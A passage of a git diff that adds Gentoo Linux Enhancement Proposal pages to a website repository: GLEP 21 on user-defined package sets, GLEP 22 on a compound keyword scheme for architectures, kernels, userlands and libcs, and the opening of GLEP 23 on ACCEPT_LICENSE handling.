+<tr><td class="label"><a class="fn-backref" href="#id2" name="portage-manpage">[2]</a></td><td><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/man/portage.5?root=gentoo-src">http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/man/portage.5?root=gentoo-src</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id13" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0021.txt">View document source</a>.
+Generated on: 2009-02-20 09:21 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0021.txt b/xml/htdocs/proj/en/glep/glep-0021.txt
new file mode 100644
index 00000000..cc63bb56
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0021.txt
@@ -0,0 +1,184 @@
+GLEP: 21
+Title: User-defined Package Sets
+Version: $Revision: 1.6 $ 
+Last-Modified: $Date: 2009/02/20 09:19:56 $
+Author:	Tal Peer <coredumb@gentoo.org>,
+        Alec Warner <antarus@gentoo.org>
+Status: Final
+Type: Standards Track
+Discussed-To: gentoo-portage-dev@lists.gentoo.org
+Content-Type: text/x-rst
+Created: 22-Feb-2004
+Post-History: 6-Mar-2004, 3-Sep-2006
+
+Status
+======
+
+Abandoned. Package set support has been added in portage-2.2, but it 
+doesn't match the description in this document in many cases, and the
+document has several major gaps regarding the behavior and restrictions 
+of package sets.
+
+Abstract
+========
+
+In Portage, package sets (formerly known as 'classes' or 'targets')
+are mere groups of packages, grouped together to allow easier updating
+and handling of them. Currently it is impossible to define sets further
+than the two default ones: "system" and "world".
+
+Motivation
+==========
+
+Over the months, quite a few requests for user-defined sets were
+made by users and developers, either by posting bugs, messages to
+mailing lists or on IRC. Usually the response is that this is an
+awesome idea, but no one ever took the time to actually define it
+properly and implement it.
+
+This document offers a specification for the implementation of
+user-defined sets using configuration files similar to the current
+world/system sets use.
+
+Specification
+=============
+
+The proposed implementation uses a one file per set approach, meaning
+each package set is defined in a single file. All set definition files
+will reside in a directory ``/etc/portage/sets/`` and each set's name
+will be its file name. Therefore, if one defines a set in
+/etc/portage/sets/foo-set, the set name will be 'foo-set'. Usual
+package naming rules [#NAME-RULES]_ also apply to sets.
+
+As it is impossible to create two or more files with identical names
+in the same directory, a theoretic conflict between two different sets
+sharing the same name is impossible. However, users may define a
+package set whose name conflicts with one more or packages (for ambiguity
+resolution, see below).
+
+Syntax for the package list file is the same as the world file syntax,
+as described in the Portage manpage [#PORTAGE-MANPAGE]_, with one
+addition: sets may not be 'inherited' by other sets, only packages may
+be listed. There is no limitation to the number of packages in a set
+or to the number of sets a package may belong to.
+
+Using User-defined Sets With Emerge
+--------------------------------------
+
+The user-defined sets will be available either directly or using
+the --package-set option, As in::
+
+	# Basically the same:
+	emerge foo-set
+	emerge --package-set foo-set
+
+The --package-set option is introduced to bypass ambiguities, as
+illustrated in the next example::
+
+	emerge foo 		  # Where foo is both a set and a one or more
+	          		  # existing packages. This will cause emerge to show
+		   		  # the ambiguity, ask us to be more
+				  # specific, and stop.
+	
+	emerge --package-set foo  # So we specify that what we actually
+				  # meant was the package set.
+
+	emerge cat-bar/foo	  # Or we specify the exact package name.
+
+When running emerge with the --pretend option, sets will be
+expanded to the packages they are comprised off in the output, as with
+the current system-defined sets.
+
+Only one set may be passed to portage at time, and sets can not
+be mixed with ordinary packages. Thus, the following snippets are
+all invalid and will result in an error  (assuming ``foo-set`` and 
+``bar-set`` are defined as sets)::
+
+	emerge foo-set glibc
+	emerge bar-set system
+	emerge world foo-set gcc
+
+Compatibility With Other Portage Features
+-----------------------------------------
+
+* Dependencies:
+  Package sets (both system-defined and user-defined) may not be
+  depended on by ordinary packages and eclasses.
+    
+* package.mask:
+  Masking a package set through the ``package.mask`` file is forbidden.
+  In order to 'mask' a package set, one should move it away from the
+  sets directory.
+
+* package.use:
+  USE flags may not be defined for sets in the ``package.use`` file.
+
+Implementation
+==============
+
+The implementation of the package sets concept in Portage should be
+mostly done in portage.py, and only the interface parts should be
+added to emerge itself, to keep the separation between interface and
+logic.
+
+The amount of work needed for implementation is not trivial, but not
+huge either.
+
+Rationale
+=========
+
+The one file per set approach makes it easy to list the sets which are
+defined on a system by just listing the ``/etc/portage/sets``
+directory contents. Additionally, it makes the set lookup process more
+efficient as it only requires to check if a file exists.
+
+I chose the --package-set option over the --set option for explicitly
+telling portage to emerge a set mostly because --set implies setting
+an environment variable, or such.
+
+Allowing sets' USE flags to be manipulated through the ``package.use``
+file would have done more harm than good, for several reasons:
+
+- If a USE flag is turned on (i.e. 'foo') for a set and the same USE
+  flag is turned off (i.e. '-foo'), for a package which is part of
+  the set, it is unclear which setting should take precedence.
+
+- Similarly, if a USE flag is turned on for a set and the same USE flag
+  is turned off for a set that is a subset of the original set, it is
+  unclear which setting should take precedence.
+
+- If a USE flag is defined (either off or on) for a set and a package
+  that belongs in the set is to be emerged, it is unclear whether the
+  USE flag should be defined when emerging the package in question.
+
+Therefore, I have decided it would be better to disallow setting USE
+flags for sets.
+
+Backwards Compatibility
+=======================
+
+Backwards compatibility with the current situation, in which only two
+system-defined sets exist can be kept in one of two ways:
+
+1. Leaving the situation as is - the 'world' and 'system' sets are
+   hard-coded in Portage.
+2. Distributing default 'system' and 'world' files under the
+   ``/etc/portage/sets/`` directory.
+
+Other than that, there are no other backwards compatibility concerns
+involved.
+
+References
+==========
+
+.. [#NAME-RULES] Gentoo Linux Development Policy - Ebuild Policy
+   (http://www.gentoo.org/doc/en/policy.xml#doc_chap3)
+   
+.. [#PORTAGE-MANPAGE]
+   http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/man/portage.5?root=gentoo-src
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
diff --git a/xml/htdocs/proj/en/glep/glep-0022.html b/xml/htdocs/proj/en/glep/glep-0022.html
new file mode 100644
index 00000000..b7365211
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0022.html
@@ -0,0 +1,252 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 22 -- New "keyword" system to incorporate various userlands/kernels/archs</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0022.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">22</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">New &quot;keyword&quot; system to incorporate various userlands/kernels/archs</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.8</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0022.txt?cvsroot=gentoo">2005/01/09 16:12:40</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Grant Goodyear &lt;g2boojum&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Final</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">6-Mar-2004</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">6-Mar-2004, 5-Jun-2004, 20-Jul-2004</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#status" id="id14" name="id14">Status</a></li>
+<li><a class="reference" href="#credits" id="id15" name="id15">Credits</a></li>
+<li><a class="reference" href="#abstract" id="id16" name="id16">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id17" name="id17">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id18" name="id18">Specification</a><ul>
+<li><a class="reference" href="#keyword-fragments" id="id19" name="id19">Keyword Fragments</a></li>
+<li><a class="reference" href="#reasonable-defaults" id="id20" name="id20">Reasonable Defaults</a></li>
+<li><a class="reference" href="#ebuild-keyword-database" id="id21" name="id21">Ebuild Keyword Database?</a></li>
+<li><a class="reference" href="#profiles" id="id22" name="id22">Profiles</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#rationale" id="id23" name="id23">Rationale</a></li>
+<li><a class="reference" href="#implementation" id="id24" name="id24">Implementation</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id25" name="id25">Backwards Compatibility</a></li>
+<li><a class="reference" href="#id1" id="id26" name="id26">References</a></li>
+<li><a class="reference" href="#copyright" id="id27" name="id27">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id14" id="status" name="status">Status</a></h1>
+<p>After withdrawing this GLEP temporarily, a rewritten version has
+now been resubmitted.  This version no longer tries to prevent a
+keyword explosion, but merely tries to make it manageable.</p>
+<p>This version was approved on 14-Jun-2004, with the amendment that cascading
+profiles should be used.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id15" id="credits" name="credits">Credits</a></h1>
+<p>This GLEP originated from the concerns that Daniel Robbins had with the
+<em>x86obsd</em> keyword, and his desire to make the KEYWORDS variable more
+&quot;feature-rich&quot;.  Drobbins' original idea was that we should allow compound
+keywords such as gnu/x86, gnu/ppc, and macos/ppc (which would be explicit
+versions of the more familiar x86, ppc, and macos keywords).  Method noted
+that userland/arch failed to capture the full range of possibilities (what
+about a GNU userland on a BSD kernel+libc?), and the issue has languished due
+to a lack of reasonable solutions.  The original version of this GLEP
+generated quite useful comments which hopefully have been addressed here to
+make the GLEP much more reasonable.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id16" id="abstract" name="abstract">Abstract</a></h1>
+<p>As Gentoo branches out to support non-Linux and non-GNU systems (such as Hurd,
+the *BSDs, or even the soon-to-be-open-sourced Solaris), the potential for an
+&quot;explosion&quot; of possible keywords becomes rather large, since each new
+userland/kernel/arch/whatever combination will require a new keyword.  This
+GLEP proposes a simple extension to the current KEYWORDS variable that
+encompasses the four parameters ARCH, USERLAND, KERNEL, and LIBC, but uses
+sensible defaults to keep the new system manageable.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id17" id="motivation" name="motivation">Motivation</a></h1>
+<p>Since the beginning, Gentoo Linux has been conceived as a &quot;metadistribution&quot;
+that combines remarkable flexibility with sensible defaults and exceptional
+maintainablilty.  The goal of the <a class="reference" href="http://www.gentoo.org/proj/en/gentoo-alt/index.xml">Gentoo-Alt</a> <a class="footnote-reference" href="#id2" id="id3" name="id3">[1]</a> project has been to extend that
+flexibility to include systems other than GNU/Linux.  For example, the author
+of this GLEP has been working to create a <a class="reference" href="http://www.gentoo.org/proj/en/gentoo-alt/bsd/index.xml">version</a> <a class="footnote-reference" href="#id8" id="id9" name="id9">[3]</a> of Gentoo that uses
+<a class="reference" href="http://www.openbsd.com">OpenBSD</a> <a class="footnote-reference" href="#id5" id="id6" name="id6">[2]</a> as the underlying kernel, userland, and libc.  <a class="reference" href="http://www.openbsd.com">OpenBSD</a> <a class="footnote-reference" href="#id5" id="id7" name="id7">[2]</a> supports a
+variety of different architectures, so, in principle, we would need a new
+<em>openbsd-arch</em> keyword for each supported architecture.  In fact, the
+situation is even more complicated, because the <a class="reference" href="http://www.gentoo.org/proj/en/gentoo-alt/index.xml">Gentoo-Alt</a> <a class="footnote-reference" href="#id2" id="id4" name="id4">[1]</a> project would
+eventually like to support the option of &quot;mixing-and-matching&quot;
+GNU/*BSD/whatever userlands and libcs irrespective of the underlying kernel.
+(<a class="reference" href="http://www.debian.org">Debian</a> <a class="footnote-reference" href="#id10" id="id11" name="id11">[4]</a>, for example has a similar BSD <a class="reference" href="http://www.debian.org/ports/netbsd/">project</a> <a class="footnote-reference" href="#id12" id="id13" name="id13">[5]</a>, except that they have
+replaced the BSD userland with a GNU userland.)  The net result is that we
+need keywords that can specify all possible permutations of arch,
+userland, kernel and libc.  A systematic nomenclature is needed.
+Fortunately, the author is a Chemist.  <em>Grin</em></p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id18" id="specification" name="specification">Specification</a></h1>
+<div class="section">
+<h2><a class="toc-backref" href="#id19" id="keyword-fragments" name="keyword-fragments">Keyword Fragments</a></h2>
+<p>Each keyword needs to specify, either explicitly or
+implicitly, the following parameters: ARCH, USERLAND, LIBC, and KERNEL.</p>
+<blockquote>
+<dl class="docutils">
+<dt>ARCH:</dt>
+<dd>x86, amd64, cobalt, mips64, arm, hppa, ia64, ppc64, sparc</dd>
+<dt>KERNEL:</dt>
+<dd>linux, selinux, openbsd, freebsd, netbsd, macosx</dd>
+<dt>USERLAND:</dt>
+<dd>gnu, bsd</dd>
+<dt>LIBC:</dt>
+<dd>glibc, openbsd, freebsd, netbsd, macosx</dd>
+</dl>
+</blockquote>
+<p>(The above examples are not meant to be complete.  Hurd, for example
+is not included because I know very little about Hurd.)</p>
+<p>A fully-specified keyword would look like
+&quot;ARCH-KERNEL-USERLAND-LIBC&quot;, so, for example,
+&quot;ppc-fbsd-gnu-glibc&quot; would indicate a Gentoo system corresponding to
+a ppc architecture running the FreeBSD kernel with a GNU userland and glibc
+as the system C library.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id20" id="reasonable-defaults" name="reasonable-defaults">Reasonable Defaults</a></h2>
+<p>To keep this system manageable (and both to reduce typing and maintain
+backwards compatibility), we need sensible defaults.  For backwards
+compatibility, the Gentoo default is a Linux kernel with a GNU userland
+and glibc C library.  Thus, the current crop of ARCH-based keywords
+(x86, ppc, etcetera) require no change whatsoever.  For the *BSD-based
+systems the default USERLAND and LIBC would be those normally associated
+with the corresponding KERNEL, so &quot;x86-obsd&quot; describes an x86 system
+with an OpenBSD kernel, a BSD userland, and the OpenBSD C library.  If
+either USERLAND or LIBC is specified, and thus not the default, then the
+entire four-parameter string must be used.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id21" id="ebuild-keyword-database" name="ebuild-keyword-database">Ebuild Keyword Database?</a></h2>
+<p>One issue that has been raised is that adding a large number of keywords
+to ebuilds is likely to become cumbersome over the long run.  (One could
+imagine that for a simple <cite>econf &amp;&amp; emake &amp;&amp; einstall</cite> ebuild that the
+list of keywords could grow to be the lengthiest part of the ebuild.)
+Instead, perhaps it would make more sense to move each ebuild's keywords
+out of the ebuild proper into a separate, perhaps online, database.
+Nothing in this GLEP would be incompatible with such an approach, so
+any further discussion will be deferred to a possible future GLEP on
+that topic.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id22" id="profiles" name="profiles">Profiles</a></h2>
+<p>Along with an explosion of keywords comes a concomitant explosion of potential
+profiles.  Just as in the current system, the profile name would be
+&quot;FLAVOR-KEYWORD-VERSION&quot; (such as &quot;default-s390-2004.1&quot;).  One drawback
+to having a large number of profiles is that maintainance becomes a
+significant problem.  In fact, one could reasonably argue that the current
+number of profiles is already too many to be easily maintained.  One proposal
+that has been raised to simplify matters is the idea of stackable, or
+cascading, profiles, so that only differences between profiles would have to
+be maintained.</p>
+</div>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id23" id="rationale" name="rationale">Rationale</a></h1>
+<p>The proposed new &quot;keywording&quot; system is far from elegant, which is
+a substantial drawback.  On the other hand, it is simple, it requires
+relatively minor changes, and the changes can be implemented
+gradually over time.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id24" id="implementation" name="implementation">Implementation</a></h1>
+<p>Since the new keyword system is backwards-compatible with the current
+system, &quot;implementation&quot; just means adding new keywords to ebuilds
+as new systems are supported.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id25" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>Backwards compatibility has already been addressed in some detail,
+with the stated goal being a system that would leave all current
+ebuilds working exactly as they are now.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id26" id="id1" name="id1">References</a></h1>
+<table class="docutils footnote" frame="void" id="id2" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="id2">[1]</a></td><td><em>(<a class="fn-backref" href="#id3">1</a>, <a class="fn-backref" href="#id4">2</a>)</em> <a class="reference" href="http://www.gentoo.org/proj/en/gentoo-alt/index.xml">http://www.gentoo.org/proj/en/gentoo-alt/index.xml</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id5" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="id5">[2]</a></td><td><em>(<a class="fn-backref" href="#id6">1</a>, <a class="fn-backref" href="#id7">2</a>)</em> <a class="reference" href="http://www.openbsd.com">http://www.openbsd.com</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id8" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id9" name="id8">[3]</a></td><td><a class="reference" href="http://www.gentoo.org/proj/en/gentoo-alt/bsd/index.xml">http://www.gentoo.org/proj/en/gentoo-alt/bsd/index.xml</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id10" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id11" name="id10">[4]</a></td><td><a class="reference" href="http://www.debian.org">http://www.debian.org</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id12" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id13" name="id12">[5]</a></td><td><a class="reference" href="http://www.debian.org/ports/netbsd/">http://www.debian.org/ports/netbsd/</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id27" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0022.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0022.txt b/xml/htdocs/proj/en/glep/glep-0022.txt
new file mode 100644
index 00000000..0106a959
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0022.txt
@@ -0,0 +1,171 @@
+GLEP: 22
+Title: New "keyword" system to incorporate various userlands/kernels/archs
+Version: $Revision: 1.8 $
+Last-Modified: $Date: 2005/01/09 16:12:40 $
+Author: Grant Goodyear <g2boojum@gentoo.org>
+Status: Final
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 6-Mar-2004
+Post-History: 6-Mar-2004, 5-Jun-2004, 20-Jul-2004
+
+Status
+======
+
+After withdrawing this GLEP temporarily, a rewritten version has
+now been resubmitted.  This version no longer tries to prevent a
+keyword explosion, but merely tries to make it manageable.  
+
+This version was approved on 14-Jun-2004, with the amendment that cascading
+profiles should be used. 
+
+Credits
+=======
+
+This GLEP originated from the concerns that Daniel Robbins had with the
+*x86obsd* keyword, and his desire to make the KEYWORDS variable more
+"feature-rich".  Drobbins' original idea was that we should allow compound
+keywords such as gnu/x86, gnu/ppc, and macos/ppc (which would be explicit
+versions of the more familiar x86, ppc, and macos keywords).  Method noted
+that userland/arch failed to capture the full range of possibilities (what
+about a GNU userland on a BSD kernel+libc?), and the issue has languished due
+to a lack of reasonable solutions.  The original version of this GLEP
+generated quite useful comments which hopefully have been addressed here to
+make the GLEP much more reasonable.
+
+Abstract
+========
+
+As Gentoo branches out to support non-Linux and non-GNU systems (such as Hurd,
+the \*BSDs, or even the soon-to-be-open-sourced Solaris), the potential for an
+"explosion" of possible keywords becomes rather large, since each new
+userland/kernel/arch/whatever combination will require a new keyword.  This
+GLEP proposes a simple extension to the current KEYWORDS variable that
+encompasses the four parameters ARCH, USERLAND, KERNEL, and LIBC, but uses
+sensible defaults to keep the new system manageable.
+
+Motivation
+==========
+
+Since the beginning, Gentoo Linux has been conceived as a "metadistribution"
+that combines remarkable flexibility with sensible defaults and exceptional
+maintainablilty.  The goal of the Gentoo-Alt_ project has been to extend that
+flexibility to include systems other than GNU/Linux.  For example, the author
+of this GLEP has been working to create a version_ of Gentoo that uses
+OpenBSD_ as the underlying kernel, userland, and libc.  OpenBSD_ supports a
+variety of different architectures, so, in principle, we would need a new
+*openbsd-arch* keyword for each supported architecture.  In fact, the
+situation is even more complicated, because the Gentoo-Alt_ project would
+eventually like to support the option of "mixing-and-matching"
+GNU/\*BSD/whatever userlands and libcs irrespective of the underlying kernel.
+(Debian_, for example has a similar BSD project_, except that they have
+replaced the BSD userland with a GNU userland.)  The net result is that we
+need keywords that can specify all possible permutations of arch,
+userland, kernel and libc.  A systematic nomenclature is needed.
+Fortunately, the author is a Chemist.  *Grin*
+
+.. _Gentoo-Alt: http://www.gentoo.org/proj/en/gentoo-alt/index.xml
+.. _OpenBSD: http://www.openbsd.com
+.. _version: http://www.gentoo.org/proj/en/gentoo-alt/bsd/index.xml
+.. _Debian: http://www.debian.org
+.. _project: http://www.debian.org/ports/netbsd/
+
+Specification
+=============
+
+Keyword Fragments
+-----------------
+
+Each keyword needs to specify, either explicitly or 
+implicitly, the following parameters: ARCH, USERLAND, LIBC, and KERNEL.
+
+    ARCH: 
+        x86, amd64, cobalt, mips64, arm, hppa, ia64, ppc64, sparc
+    KERNEL: 
+        linux, selinux, openbsd, freebsd, netbsd, macosx
+    USERLAND: 
+        gnu, bsd
+    LIBC: 
+        glibc, openbsd, freebsd, netbsd, macosx
+
+(The above examples are not meant to be complete.  Hurd, for example
+is not included because I know very little about Hurd.)
+
+A fully-specified keyword would look like 
+"ARCH-KERNEL-USERLAND-LIBC", so, for example,
+"ppc-fbsd-gnu-glibc" would indicate a Gentoo system corresponding to
+a ppc architecture running the FreeBSD kernel with a GNU userland and glibc 
+as the system C library.
+
+Reasonable Defaults
+-------------------
+
+To keep this system manageable (and both to reduce typing and maintain
+backwards compatibility), we need sensible defaults.  For backwards 
+compatibility, the Gentoo default is a Linux kernel with a GNU userland
+and glibc C library.  Thus, the current crop of ARCH-based keywords 
+(x86, ppc, etcetera) require no change whatsoever.  For the \*BSD-based
+systems the default USERLAND and LIBC would be those normally associated
+with the corresponding KERNEL, so "x86-obsd" describes an x86 system
+with an OpenBSD kernel, a BSD userland, and the OpenBSD C library.  If
+either USERLAND or LIBC is specified, and thus not the default, then the
+entire four-parameter string must be used.
+
+
+Ebuild Keyword Database?
+------------------------
+
+One issue that has been raised is that adding a large number of keywords
+to ebuilds is likely to become cumbersome over the long run.  (One could
+imagine that for a simple `econf && emake && einstall` ebuild that the
+list of keywords could grow to be the lengthiest part of the ebuild.)
+Instead, perhaps it would make more sense to move each ebuild's keywords
+out of the ebuild proper into a separate, perhaps online, database.
+Nothing in this GLEP would be incompatible with such an approach, so
+any further discussion will be deferred to a possible future GLEP on
+that topic.
+
+
+Profiles
+--------
+
+Along with an explosion of keywords comes a concomitant explosion of potential
+profiles.  Just as in the current system, the profile name would be
+"FLAVOR-KEYWORD-VERSION" (such as "default-s390-2004.1").  One drawback
+to having a large number of profiles is that maintainance becomes a
+significant problem.  In fact, one could reasonably argue that the current
+number of profiles is already too many to be easily maintained.  One proposal
+that has been raised to simplify matters is the idea of stackable, or
+cascading, profiles, so that only differences between profiles would have to
+be maintained.
+
+
+Rationale
+=========
+
+The proposed new "keywording" system is far from elegant, which is
+a substantial drawback.  On the other hand, it is simple, it requires
+relatively minor changes, and the changes can be implemented
+gradually over time.
+
+
+Implementation
+==============
+
+Since the new keyword system is backwards-compatible with the current
+system, "implementation" just means adding new keywords to ebuilds
+as new systems are supported.
+
+
+Backwards Compatibility
+=======================
+
+Backwards compatibility has already been addressed in some detail,
+with the stated goal being a system that would leave all current
+ebuilds working exactly as they are now.
+
+
+Copyright
+=========
+
+This document has been placed in the public domain.
diff --git a/xml/htdocs/proj/en/glep/glep-0023.html b/xml/htdocs/proj/en/glep/glep-0023.html
new file mode 100644
index 00000000..175e8cf9
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0023.html
@@ -0,0 +1,229 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 23 -- Handling of ACCEPT_LICENSE</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0023.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">23</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Handling of ACCEPT_LICENSE</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.7</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0023.txt?cvsroot=gentoo">2006/11/21 00:02:05</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Jason Stubbs &lt;jstubbs&#32;&#97;t&#32;gentoo.org&gt;, Marius Mauch &lt;genone&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Accepted</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">9-Mar-2004</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">8-Mar-2004 10-Mar-2004 25-Oct-2004 18-Nov-2006 21-Nov-2006</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id5" name="id5">Abstract</a></li>
+<li><a class="reference" href="#status-update" id="id6" name="id6">Status Update</a></li>
+<li><a class="reference" href="#motivation" id="id7" name="id7">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id8" name="id8">Specification</a><ul>
+<li><a class="reference" href="#ebuild-license-variable" id="id9" name="id9">Ebuild LICENSE Variable</a></li>
+<li><a class="reference" href="#license-groups" id="id10" name="id10">License Groups</a></li>
+<li><a class="reference" href="#accept-license" id="id11" name="id11">ACCEPT_LICENSE</a></li>
+<li><a class="reference" href="#behaviour" id="id12" name="id12">Behaviour</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#rationale" id="id13" name="id13">Rationale</a></li>
+<li><a class="reference" href="#reference-implementation" id="id14" name="id14">Reference Implementation</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id15" name="id15">Backwards Compatibility</a></li>
+<li><a class="reference" href="#references" id="id16" name="id16">References</a></li>
+<li><a class="reference" href="#copyright" id="id17" name="id17">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
